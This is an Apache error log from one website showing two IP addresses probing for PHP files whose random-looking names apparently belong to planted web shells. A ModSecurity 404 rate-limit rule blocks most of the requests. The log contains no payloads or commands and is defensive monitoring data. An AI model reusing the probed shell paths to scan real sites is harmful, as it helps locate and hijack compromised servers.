[Sat Apr 11 01:16:14.327805 2026] [:error] [pid 21706:tid 21718] [client 84.233.212.69:45952] [client 84.233.212.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "adkwXiGQ1M5d8fQSsLGFIwAAAAo"]
[Sat Apr 11 01:16:14.665731 2026] [:error] [pid 21570:tid 21673] [client 84.233.212.69:45994] [client 84.233.212.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "adkwXjKs5t9xRSNL6cmwsAAAAEY"]
[Sat Apr 11 01:16:15.014514 2026] [:error] [pid 21570:tid 21682] [client 84.233.212.69:46040] [client 84.233.212.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "adkwXzKs5t9xRSNL6cmwtgAAAEs"]
[Sat Apr 11 01:16:18.471521 2026] [:error] [pid 21570:tid 21665] [client 84.233.212.69:46088] [client 84.233.212.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/"] [unique_id "adkwYjKs5t9xRSNL6cmw4gAAAEI"]
[Sat Apr 11 01:16:18.807899 2026] [:error] [pid 21569:tid 21674] [client 84.233.212.69:45182] [client 84.233.212.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/"] [unique_id "adkwYnAvQTgvXJ6vHoqIPgAAAJQ"]
[Sat Apr 11 01:16:19.143011 2026] [:error] [pid 21569:tid 21683] [client 84.233.212.69:45252] [client 84.233.212.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/"] [unique_id "adkwY3AvQTgvXJ6vHoqIQQAAAJg"]
[Sat Apr 11 01:16:19.480770 2026] [:error] [pid 21568:tid 21576] [client 84.233.212.69:45298] [client 84.233.212.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/"] [unique_id "adkwY4iz5v_ljZxkpR-waQAAAQQ"]
[Sat Apr 11 01:16:19.816202 2026] [:error] [pid 21569:tid 21662] [client 84.233.212.69:45332] [client 84.233.212.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/"] [unique_id "adkwY3AvQTgvXJ6vHoqISAAAAI8"]
[Sat Apr 11 02:39:10.289274 2026] [:error] [pid 21570:tid 21679] [client 4.245.205.135:43470] File does not exist: /usr/local/apache/htdocs/suspended-page/tymi.php
[Sat Apr 11 02:39:10.567937 2026] [:error] [pid 21570:tid 21692] [client 4.245.205.135:43470] File does not exist: /usr/local/apache/htdocs/suspended-page/4GrJSiwkF3A.php
[Sat Apr 11 02:39:10.819314 2026] [:error] [pid 21570:tid 21685] [client 4.245.205.135:43470] File does not exist: /usr/local/apache/htdocs/suspended-page/SS72_kKKjT.php
[Sat Apr 11 02:39:11.087627 2026] [:error] [pid 21570:tid 21675] [client 4.245.205.135:43470] File does not exist: /usr/local/apache/htdocs/suspended-page/wkogn.php
[Sat Apr 11 02:39:11.363620 2026] [:error] [pid 21570:tid 21670] [client 4.245.205.135:43470] File does not exist: /usr/local/apache/htdocs/suspended-page/hwjtry0zd1fzeakcuzn8Cdefault.php
[Sat Apr 11 02:39:11.616674 2026] [:error] [pid 21570:tid 21668] [client 4.245.205.135:43470] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Sat Apr 11 02:39:11.878615 2026] [:error] [pid 21570:tid 21673] [client 4.245.205.135:43470] File does not exist: /usr/local/apache/htdocs/suspended-page/oLEzRVqmJJPFSucdefault.php
[Sat Apr 11 02:39:12.220385 2026] [:error] [pid 21570:tid 21665] [client 4.245.205.135:43470] File does not exist: /usr/local/apache/htdocs/suspended-page/wwdgl.php
[Sat Apr 11 02:39:12.841808 2026] [:error] [pid 21570:tid 21663] [client 4.245.205.135:43470] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3akp.php"] [unique_id "adlD0DKs5t9xRSNL6cndLAAAAEE"]
[Sat Apr 11 02:39:14.323551 2026] [:error] [pid 21569:tid 21652] [client 4.245.205.135:53941] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3akp.php"] [unique_id "adlD0nAvQTgvXJ6vHoquSQAAAIc"]
[Sat Apr 11 02:39:14.985552 2026] [:error] [pid 21569:tid 21678] [client 4.245.205.135:37290] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3akp.php"] [unique_id "adlD0nAvQTgvXJ6vHoquTwAAAJY"]
[Sat Apr 11 02:39:15.504974 2026] [:error] [pid 21706:tid 21731] [client 4.245.205.135:62131] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3akp.php"] [unique_id "adlD0yGQ1M5d8fQSsLHQtgAAABc"]
[Sat Apr 11 02:39:16.029797 2026] [:error] [pid 21568:tid 21585] [client 4.245.205.135:60227] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "adlD1Iiz5v_ljZxkpR_jHQAAAQ0"]
[Sat Apr 11 02:39:16.620366 2026] [:error] [pid 21568:tid 21587] [client 4.245.205.135:57380] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "adlD1Iiz5v_ljZxkpR_jIAAAAQ8"]
[Sat Apr 11 02:39:17.211599 2026] [:error] [pid 21569:tid 21671] [client 4.245.205.135:43495] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "adlD1XAvQTgvXJ6vHoquWQAAAJM"]
[Sat Apr 11 02:39:17.815070 2026] [:error] [pid 21568:tid 21582] [client 4.245.205.135:36009] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "adlD1Yiz5v_ljZxkpR_jLAAAAQo"]
[Sat Apr 11 02:39:18.507261 2026] [:error] [pid 21568:tid 21595] [client 4.245.205.135:56697] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlD1oiz5v_ljZxkpR_jMgAAARc"]
[Sat Apr 11 02:39:19.362283 2026] [:error] [pid 55451:tid 55459] [client 4.245.205.135:35997] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlD13ApxuyB7yCS5RkrrwAAAMY"]
[Sat Apr 11 02:39:19.956498 2026] [:error] [pid 21568:tid 21576] [client 4.245.205.135:44251] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlD14iz5v_ljZxkpR_jPAAAAQQ"]
[Sat Apr 11 02:39:20.638782 2026] [:error] [pid 21569:tid 21651] [client 4.245.205.135:53928] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlD2HAvQTgvXJ6vHoquYQAAAIY"]
[Sat Apr 11 02:39:21.296565 2026] [:error] [pid 21568:tid 21574] [client 4.245.205.135:46378] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "adlD2Yiz5v_ljZxkpR_jQwAAAQI"]
[Sat Apr 11 02:39:21.972815 2026] [:error] [pid 21570:tid 21687] [client 4.245.205.135:61512] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "adlD2TKs5t9xRSNL6cndPAAAAE0"]
[Sat Apr 11 02:39:27.008198 2026] [:error] [pid 21570:tid 21672] [client 4.245.205.135:35974] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "adlD3zKs5t9xRSNL6cndQwAAAEU"]
[Sat Apr 11 02:40:42.332421 2026] [:error] [pid 21706:tid 21711] [client 4.245.205.135:57391] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlEKiGQ1M5d8fQSsLHS3AAAAAM"]
[Sat Apr 11 02:40:42.932868 2026] [:error] [pid 55451:tid 55454] [client 4.245.205.135:57402] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlEKnApxuyB7yCS5RktWgAAAME"]
[Sat Apr 11 02:40:43.480321 2026] [:error] [pid 21570:tid 21665] [client 4.245.205.135:56649] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlEKzKs5t9xRSNL6cneBAAAAEI"]
[Sat Apr 11 02:40:43.988884 2026] [:error] [pid 55451:tid 55472] [client 4.245.205.135:62109] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlEK3ApxuyB7yCS5RktXgAAANM"]
[Sat Apr 11 02:40:44.528855 2026] [:error] [pid 55451:tid 55463] [client 4.245.205.135:61505] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "adlELHApxuyB7yCS5RktYAAAAMo"]
[Sat Apr 11 02:40:45.034608 2026] [:error] [pid 21569:tid 21648] [client 4.245.205.135:65273] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "adlELXAvQTgvXJ6vHoqvDgAAAIM"]
[Sat Apr 11 02:40:45.559328 2026] [:error] [pid 21570:tid 21689] [client 4.245.205.135:37308] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "adlELTKs5t9xRSNL6cneEwAAAE8"]
[Sat Apr 11 02:40:46.065470 2026] [:error] [pid 21569:tid 21652] [client 4.245.205.135:46353] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "adlELnAvQTgvXJ6vHoqvEgAAAIc"]
[Sat Apr 11 02:40:46.565426 2026] [:error] [pid 21569:tid 21659] [client 4.245.205.135:61548] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "adlELnAvQTgvXJ6vHoqvGAAAAI0"]
[Sat Apr 11 02:40:47.181477 2026] [:error] [pid 21568:tid 21579] [client 4.245.205.135:44247] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "adlEL4iz5v_ljZxkpR_kdAAAAQc"]
[Sat Apr 11 02:40:47.827782 2026] [:error] [pid 21569:tid 21657] [client 4.245.205.135:60828] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "adlEL3AvQTgvXJ6vHoqvIQAAAIw"]
[Sat Apr 11 02:40:48.376877 2026] [:error] [pid 21569:tid 21676] [client 4.245.205.135:52981] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "adlEMHAvQTgvXJ6vHoqvJwAAAJU"]
[Sat Apr 11 02:40:48.909604 2026] [:error] [pid 21568:tid 21584] [client 4.245.205.135:56645] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "adlEMIiz5v_ljZxkpR_keAAAAQw"]
[Sat Apr 11 02:40:49.405552 2026] [:error] [pid 21569:tid 21683] [client 4.245.205.135:46373] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "adlEMXAvQTgvXJ6vHoqvLgAAAJg"]
[Sat Apr 11 02:40:50.017759 2026] [:error] [pid 21569:tid 21648] [client 4.245.205.135:57392] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "adlEMnAvQTgvXJ6vHoqvMwAAAIM"]
[Sat Apr 11 02:40:51.287307 2026] [:error] [pid 21570:tid 21661] [client 4.245.205.135:57352] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "adlEMzKs5t9xRSNL6cneKQAAAEA"]
[Sat Apr 11 02:40:51.956368 2026] [:error] [pid 21568:tid 21592] [client 4.245.205.135:52933] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "adlEM4iz5v_ljZxkpR_kjQAAARQ"]
[Sat Apr 11 02:40:52.484966 2026] [:error] [pid 21570:tid 21689] [client 4.245.205.135:58891] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "adlENDKs5t9xRSNL6cneKwAAAE8"]
[Sat Apr 11 02:40:53.024621 2026] [:error] [pid 55451:tid 55455] [client 4.245.205.135:49649] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "adlENXApxuyB7yCS5RktgQAAAMI"]
[Sat Apr 11 02:40:53.593790 2026] [:error] [pid 55451:tid 55476] [client 4.245.205.135:53950] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "adlENXApxuyB7yCS5RktiQAAANc"]
[Sat Apr 11 02:40:54.132988 2026] [:error] [pid 55451:tid 55475] [client 4.245.205.135:52969] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlENnApxuyB7yCS5RktjAAAANY"]
[Sat Apr 11 02:40:54.695298 2026] [:error] [pid 55451:tid 55468] [client 4.245.205.135:36002] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlENnApxuyB7yCS5RktkAAAAM8"]
[Sat Apr 11 02:40:55.213609 2026] [:error] [pid 55451:tid 55470] [client 4.245.205.135:35980] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlEN3ApxuyB7yCS5RktkwAAANE"]
[Sat Apr 11 02:40:55.725968 2026] [:error] [pid 55451:tid 55474] [client 4.245.205.135:57398] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlEN3ApxuyB7yCS5RktmAAAANU"]
[Sat Apr 11 02:40:56.337623 2026] [:error] [pid 55451:tid 55473] [client 4.245.205.135:61529] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adlEOHApxuyB7yCS5RktnQAAANQ"]
[Sat Apr 11 02:40:56.973392 2026] [:error] [pid 55451:tid 55459] [client 4.245.205.135:60283] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adlEOHApxuyB7yCS5RktnwAAAMY"]
[Sat Apr 11 02:40:58.757956 2026] [:error] [pid 21706:tid 21713] [client 4.245.205.135:65250] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adlEOiGQ1M5d8fQSsLHTDwAAAAU"]
[Sat Apr 11 02:40:59.682831 2026] [:error] [pid 21706:tid 21730] [client 4.245.205.135:65243] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adlEOyGQ1M5d8fQSsLHTFwAAABY"]
[Sat Apr 11 02:41:00.330046 2026] [:error] [pid 21706:tid 21714] [client 4.245.205.135:52937] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "adlEPCGQ1M5d8fQSsLHTHgAAAAY"]
